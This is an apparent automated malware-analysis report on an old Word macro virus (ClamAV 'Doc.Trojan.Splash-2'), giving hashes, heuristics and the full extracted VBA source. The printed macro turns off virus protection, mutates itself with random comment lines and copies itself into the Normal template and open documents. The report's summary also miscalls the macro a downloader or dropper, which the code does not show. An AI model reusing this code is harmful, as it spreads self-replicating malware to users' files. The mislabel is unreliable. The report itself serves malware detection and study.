Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cd376abc615cc479…

MALICIOUS

Office (OLE)

29.0 KB Created: 1997-04-09 12:52:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 82c9e4f67dae38f24384c17b8db4ae5e SHA-1: c138d91a8eb3d725195bd6d5d48841a0341f497d SHA-256: cd376abc615cc4796bcc803e56463ed1947e4ba9c0465df9755ac90c8a1e8fc9
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing a VBA macro with an AutoClose subroutine, a common technique for executing malicious code upon document closure. The macro attempts to obfuscate itself by inserting numerous commented-out lines and copying itself to the Normal template, indicating a downloader or dropper functionality. The ClamAV detection 'Doc.Trojan.Splash-2' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Splash-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Splash-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2091 bytes
SHA-256: fd8a2ff4772ed5a8ac671361acfc90246836c918e146e18c45623d3c0f06c896
Detection
ClamAV: Doc.Trojan.Splash-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Splash"
Sub AutoClose()
Attribute AutoClose.VB_Description = "..."
Attribute AutoClose.VB_ProcData.VB_Invoke_Func = "Normal.Splash.AutoClose"
On Error Resume Next

    Application.ScreenUpdating = False

    WordBasic.DisableAutoMacros = 0
    Options.VirusProtection = False

    Set Current = MacroContainer

    For Grow = 1 To 20
        Number = Current.VBProject.VBComponents("Splash").CodeModule.ProcCountLines("AutoClose", vbext_pk_Proc)
        RandomLine = Int(Rnd() * Number + 1)
        RemarkLength = Int(Rnd() * 40 + 1)

            For Length = 1 To RemarkLength
                Remark = Remark + Chr$(Int((90 - 65 + 1) * Rnd + 65))
            Next Length

        Current.VBProject.VBComponents("Splash").CodeModule.InsertLines RandomLine, vbTab & "Rem " & Remark
        Remark = ""

    Next Grow

    Installed = False

    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(I).Name = "Splash" Then
            Installed = True
        End If
    Next

    If Installed = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Splash", Object:=wdOrganizerObjectProjectItems
        ActiveDocument.SaveAs FileName:=ActiveDocument.Name, FileFormat:=wdFormatTemplate
    End If

    Installed = False

    For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(J).Name = "Splash" Then
            Installed = True
        End If
    Next

    If Installed = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Splash", Object:=wdOrganizerObjectProjectItems
        NormalTemplate.Save
    End If

End Sub